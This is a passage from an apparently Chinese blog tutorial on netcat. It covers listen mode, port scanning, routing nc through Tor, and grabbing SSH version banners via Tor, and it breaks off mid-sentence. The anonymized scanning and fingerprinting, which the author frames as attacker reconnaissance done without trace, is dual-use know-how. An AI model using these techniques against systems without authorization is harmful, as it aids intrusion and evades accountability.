8080<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-l<\/code><\/strong><br>\u3000\u3000\u8fd9\u4e2a\u9009\u9879\u4f1a\u8ba9 nc \u8fdb\u5165\u76d1\u542c\u6a21\u5f0f\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-p<\/code><\/strong><br>\u3000\u3000\u8fd9\u4e2a\u9009\u9879\u6709\u201c\u9009\u9879\u503c\u201d\uff0c\u4e5f\u5c31\u662f\u5177\u4f53\u7aef\u53e3\u53f7\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u7136\u540e\u5728\u201c\u4e3b\u673aC\u201d\u4e0a\u8fd0\u884c nc\uff0c\u6d4b\u8bd5\u201c\u4e3b\u673aS\u201d\u4e0a\u7684 8080 \u7aef\u53e3\u662f\u5426\u53ef\u8fbe\uff08\u5177\u4f53\u7684\u547d\u4ee4\u884c\u53c2\u89c1\u524d\u4e00\u7ae0\u8282\u201c\u62db\u65701\u201d\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u662f\u5426\u7701\u7565\u201c-p\u201d\uff1f<\/h3>\n\n\n\n<p>\u3000\u3000\u67d0\u4e9b nc \u7684\u53d8\u79cd\uff0c\u5728\u5f00\u542f\u76d1\u542c\u6a21\u5f0f\u65f6\uff0c\u53ef\u4ee5\u7701\u7565\u201c<code>-p<\/code>\u201d\uff0c\u4e0a\u8ff0\u547d\u4ee4\u53d8\u4e3a\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lv 8080<\/pre>\n\n\n\n<p>\u3000\u3000\u4f46\u8003\u8651\u5230\u517c\u5bb9\u6027\uff0c\uff08\u5728\u540e\u7eed\u7ae0\u8282\u4e2d\uff09\u4ffa\u603b\u662f\u5199\u4e0a&nbsp;<code>-p<\/code>&nbsp;\u9009\u9879\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u5982\u4f55\u8ba9 nc \u7684\u76d1\u542c\u7aef\u53e3\u3010\u6301\u7eed\u5f00\u542f\u3011<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cnc \u5f00\u542f listen \u6a21\u5f0f\u5145\u5f53\u670d\u52a1\u7aef\uff0c\u5728\u63a5\u53d7\u3010\u7b2c\u4e00\u6b21\u3011\u5ba2\u6237\u7aef\u8fde\u63a5\u4e4b\u540e\uff0c\u5c31\u4f1a\u628a\u76d1\u542c\u7aef\u53e3\u5173\u95ed\u3002<br>\u3000\u3000\u4e3a\u5565\u4f1a\u8fd9\u6837\u634f\uff1f\u56e0\u4e3a\u5f53\u5e74\u8bbe\u8ba1 nc \u66f4\u591a\u7684\u662f\u4f5c\u4e3a\u67d0\u79cd\u7f51\u7edc\u8bca\u65ad\/\u914d\u7f6e\u5de5\u5177\uff0c\u5e76\u3010\u4e0d\u662f\u3011\u771f\u62ff\u5b83\u5f53\u670d\u52a1\u7aef\u8f6f\u4ef6\u6765\u7528\u7684\u3002<br>\u3000\u3000\u5982\u679c\u4f60\u60f3\u8981\u8ba9 nc \u59cb\u7ec8\u76d1\u542c\u6a21\u5f0f\uff0c\u4f7f\u4e4b\u80fd\u3010\u91cd\u590d\u3011\u63a5\u53d7\u5ba2\u6237\u7aef\u53d1\u8d77\u7684\u8fde\u63a5\uff0c\u53ef\u4ee5\u8ffd\u52a0&nbsp;<code>-k<\/code>&nbsp;\u9009\u9879\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1aUDP<\/h3>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u4e3e\u4f8b\u662f\u57fa\u4e8e TCP \u534f\u8bae\u3002\u5982\u679c\u4f60\u8981\u6d4b\u8bd5 UDP \u534f\u8bae\uff0c\u8981\u8bb0\u5f97\u3010\u4e24\u8fb9\u3011\u7684 nc \u90fd\u8981\u8ffd\u52a0&nbsp;<code>-u<\/code>&nbsp;\u9009\u9879\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65703\uff1a\uff08\u6e17\u900f\u6d4b\u8bd5\uff09\u7528 nc \u73a9\u201c\u7aef\u53e3\u626b\u63cf\u201d<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u201c\u62db\u65701\u201d\u91cc\u9762\u4ecb\u7ecd\u4e86\uff1a\u5982\u4f55\u6d4b\u8bd5\u3010\u5355\u4e2a\u3011\u7aef\u53e3\u662f\u5426\u53ef\u8fbe\u3002<br>\u3000\u3000\u6269\u5c55\u4e00\u4e0b\uff1a\u5982\u679c\u4f60\u8981\u6d4b\u8bd5\u7684\u4e0d\u6b62\u4e00\u4e2a\u7aef\u53e3\uff0c\u800c\u662f\u67d0\u4e2a\u3010\u8303\u56f4\u3011\u7684\u7aef\u53e3\u3002\u8fd9\u79cd\u884c\u4e3a\u6709\u4e2a\u4e13\u95e8\u7684\u672f\u8bed\u53eb\u3010\u7aef\u53e3\u626b\u63cf\u3011\u3002<br>\u3000\u3000\u201c\u7aef\u53e3\u626b\u63cf\u201d\u662f\u4e00\u628a\u53cc\u5203\u5251\u2014\u2014\u201c\u9ed1\u5e3d\u5b50\u201d\u7528\u8fd9\u62db\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\uff0c\u4e3a\u540e\u7eed\u7684\u5165\u4fb5\u505a\u94fa\u57ab\uff1b\u201c\u767d\u5e3d\u5b50\u201d\u7528\u8fd9\u62db\u6765\u8fdb\u884c\u201c\u6e17\u900f\u6d4b\u8bd5\u201d\uff0c\u4ee5\u6392\u67e5\u81ea\u5df1\u7cfb\u7edf\u4e2d\u3010\u5c1a\u672a\u5c4f\u853d\u3011\u7684\u5bf9\u5916\u76d1\u542c\u7aef\u53e3\u3002<br>\u3000\u3000\u4f5c\u4e3a\u4e00\u6b3e\u725b\u903c\u7684\u7f51\u7edc\u745e\u58eb\u519b\u5200\uff0cnc \u5f53\u7136\u53ef\u4ee5\u7528\u6765\u5e72\u8fd9\u4e8b\u513f\u5566\u3002<br>\u3000\u3000\u987a\u4fbf\u8bf4\u4e00\u4e0b\uff1a<br>\u4e0d\u8bba\u662f TCP \u8fd8\u662f UDP\uff0c\u534f\u8bae\u89c4\u5b9a\u7684\u3010\u6709\u6548\u3011\u7aef\u53e3\u53f7\u8303\u56f4\u90fd\u662f\uff1a<code>1<\/code>&nbsp;~&nbsp;<code>65535<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u4e0b\u9762\u8fd9\u4e2a\u547d\u4ee4\uff0c\u7528\u6765\u626b\u63cf IP \u5730\u5740\u4e3a&nbsp;<code>x.x.x.x<\/code>&nbsp;\u7684\u4e3b\u673a\uff0c\u626b\u63cf\u7684\u7aef\u53e3\u8303\u56f4\u4ece&nbsp;<code>1<\/code>&nbsp;\u5230&nbsp;<code>1024<\/code><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -znv x.x.x.x 1-1024<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-z<\/code><\/strong><br>\u3000\u3000\u610f\u601d\u662f\uff1a\u5f00\u542f\u201czero-I\/O \u6a21\u5f0f\u201d\u3002\u8be5\u6a21\u5f0f\u6307\u7684\u662f\uff1anc \u53ea\u5224\u65ad\u67d0\u4e2a\u76d1\u542c\u7aef\u53e3\u662f\u5426\u80fd\u8fde\u4e0a\uff0c\u8fde\u4e0a\u540e\u3010\u4e0d\u3011\u4e0e\u5bf9\u7aef\u8fdb\u884c\u6570\u636e\u901a\u8baf\u3002<br>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-n<\/code><\/strong><br>\u3000\u3000\uff08\u524d\u9762\u5df2\u804a\u8fc7\uff0c\u53c2\u89c1\u201c\u62db\u65701\u201d\uff09<br>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-v<\/code><\/strong><br>\u3000\u3000<code>-v<\/code>&nbsp;\u9009\u9879\u524d\u9762\u4e5f\u804a\u8fc7\uff0c\u8fd9\u91cc\u8981\u7279\u5730\u5f3a\u8c03\u4e00\u4e0b\u3002<br>\u3000\u3000\u5bf9 nc \u7684\u5176\u5b83\u7528\u6cd5\uff0c<code>-v<\/code>&nbsp;\u9009\u9879\u662f\u53ef\u52a0\u53ef\u4e0d\u52a0\u6ef4\uff1b\u4f46\u5bf9\u4e8e\u201c\u7aef\u53e3\u626b\u63cf\u201d\u800c\u8a00\uff0c\u4e00\u5b9a\u8981\u6709\u8fd9\u4e2a\u9009\u9879\u2014\u2014\u5426\u5219\u4f60\u3010\u770b\u4e0d\u5230\u3011\u626b\u63cf\u7ed3\u679c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u4f18\u5316\u8f93\u51fa<\/h3>\n\n\n\n<p>\u3000\u3000\u73a9\u201c\u7aef\u53e3\u626b\u63cf\u201d\u7684\u65f6\u5019\uff0c\u201c<code>-v<\/code>&nbsp;\u9009\u9879\u201d\u4f1a\u628a\u201c\u6210\u529f\/\u5931\u8d25\u201d\u7684\u7ed3\u679c\u7edf\u7edf\u6253\u5370\u51fa\u6765\u3002<br>\u3000\u3000\u901a\u5e38\u5927\u4f19\u513f\u5173\u6ce8\u7684\u90fd\u662f\u201c\u626b\u63cf\u6210\u529f\u201d\u7684\u90a3\u4e9b\u7aef\u53e3\u3002\u56e0\u6b64\uff0c\u53ef\u4ee5\u7528\u5982\u4e0b\u547d\u4ee4\u8fc7\u6ee4\u4e00\u4e0b\uff0c\u53ea\u6253\u5370\u626b\u51fa\u6765\u7684\u7aef\u53e3\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -znv x.x.x.x 1-1024  2&gt;&amp;1 | grep succeeded<\/pre>\n\n\n\n<p>\u3000\u3000\u7531\u4e8e\u201c<code>-v<\/code>&nbsp;\u9009\u9879\u201d\u4ea7\u751f\u7684\u8f93\u51fa\u4f4d\u4e8e\u3010stderr\u3011\uff0c\u4e0a\u8ff0\u547d\u4ee4\u4e2d\u7684&nbsp;<code>2&gt;&amp;1<\/code>&nbsp;\u7528\u6765\u628a\u3010stderr\u3011\u5408\u5e76\u5230\u3010stdout\u3011\uff08\u6ce8\uff1a\u8fd9\u79cd\u5199\u6cd5\u53ea\u9002\u7528\u4e8e POSIX \u7cfb\u7edf\u4e0a\u7684 shell\uff09<br>\u3000\u3000<code>grep<\/code>&nbsp;\u547d\u4ee4\u7528\u6765\u8fdb\u884c\u3010\u8fc7\u6ee4\u3011\u3002\u5bf9\u4e8e Windows \u7cfb\u7edf\uff0c\u9ed8\u8ba4\u3010\u6ca1\u6709\u3011<code>grep<\/code>&nbsp;\u547d\u4ee4\uff0c\u9700\u6539\u7528&nbsp;<code>find<\/code>&nbsp;\u547d\u4ee4\u8fc7\u6ee4\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u8d85\u65f6\u8bbe\u7f6e<\/h3>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u4f60\u8981\u626b\u63cf\u7684\u7aef\u53e3\u8303\u56f4\uff0c\u8de8\u5ea6\u6bd4\u8f83\u5927\uff0c\u8d85\u65f6\u503c\u8981\u3010\u6070\u5230\u597d\u5904\u3011\u2014\u2014<br>\u8d85\u65f6\u503c\u592a\u5927\uff0c\u4f1a\u6d6a\u8d39\u65f6\u95f4\uff1b\u8d85\u65f6\u503c\u592a\u5c0f\uff0c\u53ef\u80fd\u4f1a\u9057\u6f0f\u67d0\u4e9b\u7aef\u53e3\uff08\u7aef\u53e3\u672c\u8eab\u5f00\u653e\uff0c\u4f46 nc \u8fd8\u6ca1\u6765\u5f97\u53ca\u8fde\u4e0a\u5c31\u8d85\u65f6\u4e86\uff09<br>\u3000\u3000\u5177\u4f53\u5982\u4f55\u8bbe\u7f6e\uff0c\u53c2\u89c1\u201c\u62db\u65701\u201d\u7684\u201c\u8865\u5145\u8bf4\u660e\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u3010\u5e76\u53d1\u3011\u626b\u63cf<\/h3>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u4f60\u8bbe\u7f6e\u4e86\u8f83\u5c0f\u7684\u8d85\u65f6\u503c\uff0c\u4f9d\u7136\u5acc\u6162\uff0c\u8fd8\u53ef\u4ee5\u7528\u3010\u5e76\u53d1\u3011\u626b\u63cf\u7684\u65b9\u5f0f\uff0c\u8fdb\u4e00\u6b65\u63d0\u5347\u6548\u7387\u3002<br>\u3000\u3000\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\uff1a\u540c\u65f6\u8fd0\u884c\u591a\u4e2a nc\uff0c\u5206\u522b\u626b\u63cf\u4e0d\u540c\u7684\u7aef\u53e3\u8303\u56f4\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65704\uff1a\uff08\u9690\u533f\u6027\uff09\u5982\u4f55\u8ba9 nc \u8d70\u6697\u7f51\uff08\u4ee5 Tor \u4e3a\u4f8b\uff09<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\uff08\u672c\u7ae0\u8282\u9488\u5bf9\u90a3\u4e9b\u6709\u3010\u7279\u6b8a\u9700\u6c42\u3011\u7684\u5bb6\u4f19\u3002\u6280\u672f\u83dc\u9e1f\u53ef\u4ee5\u7565\u8fc7\uff09<br>\u3000\u3000\u5982\u679c\u4f60\u60f3\u7528 nc \u5e72\u4e00\u4e9b\u201c\u4e0d\u4e3a\u4eba\u77e5\u201d\u7684\u4e8b\u60c5\uff0c\u9996\u5148\u8981\u8003\u8651\u7684\u662f\u2014\u2014\u5982\u4f55\u6d88\u9664\u3010\u7f51\u7edc\u5c42\u9762\u3011\u7684\u8e2a\u8ff9\u3002<br>\u3000\u3000\u6700\u5bb9\u6613\u60f3\u5230\u7684\u5f53\u7136\u5c31\u662f\u2014\u2014\u8ba9 nc \u8d70\u6697\u7f51\uff08\u6bd4\u5982 Tor\uff09\u3002\u672c\u6587\u4ee5\u4e0b\u90e8\u5206\u79f0\u4e4b\u4e3a\u3010nc over Tor\u3011\u3002<br>\u3000\u3000\u987a\u4fbf\u8bf4\u4e00\u4e0b\uff1a\u201c\u539f\u7248 nc\u201d\u3010\u4e0d\u652f\u6301\u3011\u4ee3\u7406\uff0c\u800c nc \u7684\u201cOpenBSD \u53d8\u79cd\u201d\u652f\u6301\u5404\u79cd\u4ee3\u7406\u3002\u8fd9\u662f\u4e24\u79cd nc \u4e4b\u95f4\u7684\u5173\u952e\u6027\u5dee\u5f02\u4e4b\u4e00\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u4e3a\u4e86\u652f\u6301\u4ee3\u7406\uff0cnc \u7684\u201cOpenBSD \u53d8\u79cd\u201d\u589e\u52a0\u4e86\u4e24\u4e2a\u9009\u9879\uff1a<code>-X<\/code>&nbsp;\u4e0e&nbsp;<code>-x<\/code><\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-x<\/code><\/strong><br>\u3000\u3000\u8be5\u9009\u9879\u8868\u793a\u3010\u4ee3\u7406\u7684\u4f4d\u7f6e\u3011\uff0c\u4ee5&nbsp;<code>x.x.x.x:xxx<\/code>&nbsp;\u7684\u5f62\u5f0f\u8868\u793a\uff08\u4e2d\u95f4\u662f\u3010\u534a\u89d2\u5192\u53f7\u3011\uff09\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-X<\/code><\/strong><br>\u3000\u3000\u8be5\u9009\u9879\u8868\u793a\u3010\u4ee3\u7406\u7684\u7c7b\u578b\u3011\uff0c\u542b\u4e49\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><th>\u9009\u9879\u503c<\/th><th>\u542b\u4e49<\/th><\/tr><tr><td>5<\/td><td>SOCKS5 \u4ee3\u7406<\/td><\/tr><tr><td>4<\/td><td>SOCKS4 \u4ee3\u7406<\/td><\/tr><tr><td>connect<\/td><td>CONNECT \u578b\u7684 HTTP \u4ee3\u7406<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u3000\u3000\u9996\u5148\uff0c\u786e\u4fdd\u4f60\u672c\u673a\u5df2\u7ecf\u8fd0\u884c\u4e86 Tor\uff1b<br>\u3000\u3000\u7136\u540e\uff0c\u62ff\u57df\u540d\u6d4b\u8bd5\u4e00\u4e0b\u3002\u5982\u679c nc \u7684\u8f93\u51fa\u4e2d\u5305\u542b&nbsp;<code>succeeded<\/code>\uff08\u53c2\u89c1\u4e0b\u9762\u7684\u7b2c2\u884c\uff09\uff0c\u8bf4\u660e OK \u5566\u2014\u2014nc \u5df2\u7ecf\u80fd\u901a\u8fc7 Tor \u8054\u7f51\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -X 5 -x 127.0.0.1:9050 -q 3 -v www.torproject.org 443<br><br>Connection to www.torproject.org 443 port [tcp\/https] succeeded!<\/pre>\n\n\n\n<p>\uff08\u6ce8\uff1a\u5982\u679c\u4f60\u7528\u7684\u662f\u201cTor Browser\u201d\uff0c\u4e0a\u8ff0\u547d\u4ee4\u4e2d\u7684\u201c<code>-x<\/code>&nbsp;\u9009\u9879\u503c\u201d\u6539\u4e3a&nbsp;<code>127.0.0.1:9150<\/code>\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u5ef6\u65f6\u9000\u51fa<\/h3>\n\n\n\n<p>\u3000\u3000\u5728\u4e0a\u8ff0\u4e3e\u4f8b\u4e2d\uff0c\u4ffa\u7528\u5230\u4e86\u4e00\u4e2a\u65b0\u7684&nbsp;<code>-q<\/code>&nbsp;\u9009\u9879\u3002\u4e3b\u8981\u8003\u8651\u5230\uff1a\u672c\u535a\u5ba2\u7684 Web Server \u4f4d\u4e8e\u3010\u516c\u7f51\u3011\u3002<br>\u3000\u3000\u5f53\u4f60\u7528 nc \u8fde\u63a5\u3010\u516c\u7f51\u3011\u4e0a\u7684\u670d\u52a1\u5668\uff0c\u56e0\u4e3a\u3010\u516c\u7f51\u3011\u7684\u4f20\u8f93\u8d28\u91cf\u4f1a\u53d7\u5230\u8bf8\u591a\u56e0\u7d20\u7684\u5f71\u54cd\uff0c\u6700\u597d\u52a0&nbsp;<code>-q<\/code>&nbsp;\u9009\u9879\uff0c\u8ba9 nc\u3010\u5ef6\u65f6\u3011\u9000\u51fa\u3002<br>\u3000\u3000\u5728\u4ffa\u7684\u793a\u4f8b\u4e2d\uff0c\u5ef6\u65f63\u79d2\u3002\u5b9e\u9645\u64cd\u4f5c\u65f6\uff0c\u8981\u6839\u636e\u4f60\u7684\u7f51\u7edc\u73af\u5883\u8c03\u6574\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1aTor \u6697\u7f51\u7684\u597d\u5904<\/h3>\n\n\n\n<p><br>\u3000\u3000\uff08\u7b80\u800c\u8a00\u4e4b\uff09\u7531\u4e8e Tor \u6697\u7f51\u7684\u7ebf\u8def\u4f1a\u7ecf\u5386\u201c\u4e09\u7ea7\u8df3\u201d\uff06\u201c\u4e09\u91cd\u5957\u201d\uff0c\u800c\u4e14\u5176\u7ebf\u8def\u6bcf\u969410\u5206\u949f\u5c31\u4f1a\u3010\u968f\u673a\u3011\u53d8\u6362\u4e00\u6b21\u3002\u8fd9\u79cd\u53d8\u6001\u7684\u73a9\u6cd5\uff0c\u53ef\u4ee5\u8ba9\u3010\u7f51\u7edc\u5c42\u9762\u3011\u7684\u9006\u5411\u8ffd\u6eaf\u53d8\u5f97\u975e\u5e38\u975e\u5e38\u56f0\u96be\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u57df\u540d\u89e3\u6790<\/h3>\n\n\n\n<p>\u3000\u3000\u5f53\u4f60\u7528\u521a\u624d\u7684\u62db\u6570\u505a\u5230\u3010nc over Tor\u3011\u4e4b\u540e\uff0c\u4e00\u65e6 nc \u7684\u7f51\u7edc\u884c\u4e3a\u9700\u8981\u89e3\u6790\u57df\u540d\uff0c\u4f1a\u81ea\u52a8\u901a\u8fc7 Tor \u7684 SOCKS \u4ee3\u7406\u8fdb\u884c\u3010\u8fdc\u7a0b\u57df\u540d\u89e3\u6790\u3011\u3002<br>\u3000\u3000\u4e5f\u5c31\u662f\u8bf4\uff0c\u201cDNS \u534f\u8bae\u201d\u76f8\u5173\u6570\u636e\u6d41\u4e5f\u7ecf\u8fc7 Tor \u6697\u7f51\u2014\u2014\u8fd9\u6837\u65e2\u53ef\u4ee5\u3010\u9632\u6b62\u3011\u201c\u57df\u540d\u89e3\u6790\u201d\u66b4\u9732\u4f60\u7684\u7f51\u7edc\u884c\u4e3a\uff0c\u8fd8\u53ef\u4ee5\u907f\u514d GFW \u7684\u201c\u57df\u540d\u6c61\u67d3\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u8bbe\u7f6e\u522b\u540d\uff08alias\uff09<\/h3>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u4f60\u6bd4\u8f83\u61d2\uff0c\u89c9\u5f97\u6bcf\u6b21\u90fd\u8f93\u5165\u4e0a\u8ff0\u4e24\u4e2a\u4ee3\u7406\u9009\u9879\u592a\u9ebb\u70e6\uff0c\u53ef\u4ee5\u4e3a nc \u8bbe\u7f6e\u4e00\u4e2a\u3010\u522b\u540d\u3011\uff08\u547d\u4ee4\u5982\u4e0b\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">alias nc-tor='nc -X 5 -x 127.0.0.1:9050'<\/pre>\n\n\n\n<p>\u3000\u3000\u8bbe\u7f6e\u597d\u4e4b\u540e\uff0c\u4f60\u53ea\u8981\u7528&nbsp;<code>nc-tor<\/code>&nbsp;\u5c31\u53ef\u4ee5\u81ea\u52a8\u8ffd\u52a0\u4ee3\u7406\u9009\u9879\u3002<br>\u3000\u3000\u5982\u679c\u60f3\u8ba9\u522b\u540d\u3010\u6c38\u4e45\u3011\u751f\u6548\uff0c\u8981\u628a\u4e0a\u8ff0\u547d\u4ee4\u52a0\u5165\u5230\uff1a\u4f60\u5f53\u524d\u4f7f\u7528\u7684 shell \u7684\u542f\u52a8\u6587\u4ef6\u4e2d\u3002<br>\u3000\u3000\u518d\u6b21\u5520\u53e8\uff1a\u201c\u88f8 Tor\u201d\u4e0e\u201cTor Browser\u201d\u7684\u76d1\u542c\u7aef\u53e3\u6709\u5dee\u5f02\u3002\u4ffa\u4e0a\u8ff0\u547d\u4ee4\u7684&nbsp;<code>9050<\/code>&nbsp;\u662f\u7528\u4e8e\u201c\u88f8 Tor\u201d\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65705\uff1a\uff08\u4fe1\u606f\u6536\u96c6\uff09\u7528 nc \u63a2\u6d4b\u201c\u670d\u52a1\u5668\u7c7b\u578b\u201d\u548c\u201c\u8f6f\u4ef6\u7248\u672c\u201d\uff08\u4ee5 SSH \u4e3a\u4f8b\uff09<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\uff08\u672c\u7ae0\u8282\u9488\u5bf9\u90a3\u4e9b\u6709\u3010\u7279\u6b8a\u9700\u6c42\u3011\u7684\u5bb6\u4f19\u3002\u6280\u672f\u83dc\u9e1f\u53ef\u4ee5\u7565\u8fc7\uff09<br>\u3000\u3000\u5165\u4fb5\u8005\u5728\u53d1\u8d77\u653b\u51fb\u4e4b\u524d\uff0c\u6709\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u6b65\u9aa4\u53eb\u505a\u3010\u4fe1\u606f\u6536\u96c6\u3011\u3002\u653b\u51fb\u8005\u5bf9\u76ee\u6807\u4e86\u89e3\u5f97\u8d8a\u591a\uff0c\u5f97\u624b\u7684\u673a\u4f1a\u5c31\u8d8a\u5927\u3002<br>\u3000\u3000\u4e0b\u9762\u4ffa\u4ee5 SSH Server\uff08sshd\uff09\u4e3e\u4f8b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u5982\u4eca\u8981\u3010\u8fdc\u7a0b\u7ba1\u7406\u3011\u670d\u52a1\u5668\uff0c\u6700\u5e38\u7528\u7684\u5927\u6982\u5c31\u662f SSH \u8fd9\u79cd\u65b9\u5f0f\u4e86\u3002<br>\u3000\u3000\u5982\u679c\u67d0\u4e2a\u670d\u52a1\u5668\u8fd0\u884c\u4e86 SSH \u670d\u52a1\u7aef\uff08\u9ed8\u8ba4\u76d1\u542c\u7aef\u53e3\u662f&nbsp;<code>22<\/code>\uff09\uff0c\u90a3\u4e48\u7528\u5982\u4e0b\u547d\u4ee4\u53ef\u4ee5\u770b\u51fa\uff1a\u8be5\u670d\u52a1\u5668\u7684\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b\uff0c\u4ee5\u53ca SSH server \u7684\u7248\u672c\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo \"EXIT\" | nc-tor -vq 5 -n \u670d\u52a1\u5668IP 22<br>echo \"EXIT\" | nc-tor -vq 5 \u670d\u52a1\u5668\u57df\u540d 22<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-v<\/code><\/strong><br>\u3000\u3000\u73a9\u8fd9\u62db\u65f6\uff0c\u6700\u597d\u52a0&nbsp;<code>-v<\/code>&nbsp;\u9009\u9879\u2014\u2014nc \u4f1a\u5148\u663e\u793a\u201c\u7aef\u53e3\u5df2\u7ecf\u8fde\u4e0a\u201d\u6216\u8005\u201c\u7aef\u53e3\u8fde\u4e0d\u4e0a\u201d\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>\u9009\u9879&nbsp;<code>-q<\/code><\/strong><br>\u3000\u3000\uff08\u5173\u4e8e\u8be5\u9009\u9879\u7684\u8bf4\u660e\uff0c\u53c2\u89c1\u201c\u62db\u65704\u201d\u7ae0\u8282\u7684\u3010\u5ef6\u65f6\u9000\u51fa\u3011\uff09<\/p>\n\n\n\n<p>\u3000\u3000<strong><code>nc-tor<\/code>&nbsp;\u522b\u540d<\/strong><br>\u3000\u3000\uff08\u5173\u4e8e\u8fd9\u4e2a\u522b\u540d\uff0c\u5df2\u7ecf\u201c\u62db\u65704\u201d\u7ae0\u8282\u804a\u8fc7\u2014\u2014\u662f\u8ba9 nc \u8d70 Tor \u4ee3\u7406\uff09<\/p>\n\n\n\n<p>\u3000\u3000\u524d\u9762\u804a\u4e86\u8fd9\u4e48\u4e45\uff0c\u4e00\u76f4\u6ca1\u6709\u7ed9\u51fa\u3010\u5b9e\u4f8b\u3011\u3002\u73b0\u5728\u6765\u4e00\u4e2a\u3010\u771f\u5b9e\u7684\u3011\u4f8b\u5b50\u2014\u2014\u7528 nc \u63a2\u6d4b Github \u7684 SSH \u7aef\u53e3<br>\u3000\u3000\uff08\u6ce8\uff1a\u5728\u5982\u4e0b\u7ec8\u7aef\u7a97\u53e3\u4e2d\uff0c\u5934\u4e00\u884c\u662f\u547d\u4ee4\uff0c\u540e\u9762\u4e24\u884c\u662f\u8f93\u51fa\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">echo \"EXIT\" | nc-tor -vq 5 ssh.github.com 22<br><br>Connection to ssh.github.com 22 port [tcp\/ssh] succeeded!<br>SSH-2.0-babeld-dae25663<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1aecho \u547d\u4ee4<\/h3>\n\n\n\n<p>\u3000\u3000\u4e0a\u8ff0\u7528\u5230\u7684&nbsp;<code>echo<\/code>&nbsp;\u547d\u4ee4\u662f POSIX \u4e0b\u5e38\u7528\u7684\u547d\u4ee4\u3002Windows \u7684\u547d\u4ee4\u884c\u4e2d\u4e5f\u6709\u540c\u540d\u7684\u547d\u4ee4\uff0c\u4f46\u529f\u80fd\/\u7528\u6cd5\u6709\u3010\u5dee\u5f02\u3011\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u6279\u5904\u7406 \uff06 \u81ea\u52a8\u5316<\/h3>\n\n\n\n<p>\u3000\u3000\u67d0\u4e9b\u201c\u6709\u5fc3\u4eba\u201d\u751a\u81f3\u53ef\u4ee5\u641e\u4e00\u4e2a\u811a\u672c\uff0c\u6279\u91cf\u63a2\u6d4b\u67d0\u4e2a IP \u5730\u5740\u6bb5\u7684 22 